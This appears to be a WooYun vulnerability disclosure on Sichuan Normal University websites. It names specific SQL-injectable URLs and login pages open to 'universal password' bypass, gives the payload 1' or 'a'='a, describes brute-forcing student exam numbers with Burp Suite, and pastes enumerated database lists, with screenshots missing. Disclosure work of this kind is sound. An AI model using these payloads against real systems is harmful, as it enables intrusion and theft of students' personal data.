WooYun.org

一、研究生院网站：
1. SQL注入漏洞
http://yjs.sicnu.edu.cn/ds_search.asp?xsdm=013

数据库（包含10个库）：

一共10个库：
available databases [10]:
[*] gedu
[*] gedu1
[*] graduation
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] text

管理员密码：

随便看几张证明影响：

随便取一张表：

很严重了,所有研究生的数据估计早被人搞了。
二、招生信息网：
1. 招生宣传栏管理员登陆 万能密码绕过：
http://zjc.sicnu.edu.cn/solicit_2014_sys/solicit_2014_sys_login.aspx

进去之后可以进行信息的发布和修改。现在招生结束了，要是高考招生那会，影响就大了。
2. 往年录取查询：（可爆出所有新生漏洞）
http://zjc.sicnu.edu.cn/solicit_2014_sys/solicit2014_infor_enrollment.aspx 又是一个没有过滤, 这次换个花样：
身份证号：1' or 'a'='a 考生号 ：burpsuite直接跑数据
从15510601161000-15510601161999，我们测试1000个。

出来了10 个 随便看看，泄露了什么信息：

好嘛，估计每届所有新生的数据也被人搞了。
三、就业信息网：
1. 管理员登陆：万能密码绕过

2. 导出毕业生数据：

为了证明影响：如下两张图是两届的毕业生人数：

哎，一个万能密码，近万人的数据又泄露了。
其他栏目同样存在万能密码绕过：
毕业信息在线填写：
http://zjc.sicnu.edu.cn/zjc-career-websys-2009/zjc-career/sd_zjc_career_login_stu_info.aspx
毕业生档案去向：
http://zjc.sicnu.edu.cn/zjc-career-websys-2009/zjc-career/sd_zjc_career_login_stu_filepost.aspx
3. SQL注入：

涉及15库：

四、教务处：
1. 学籍考试管理信息系统：万能密码绕过

2. SQL 注入：

涉及12个库：

available databases [12]:
[*] dean251
[*] EcampusDBBak
[*] EcampusDbForTest
[*] EcampusDbShort
[*] JWCWeb2014
[*] JwXj
[*] master
[*] model
[*] msdb
[*] tempdb
[*] Web
[*] yk
就到这里了，截图有点累，恩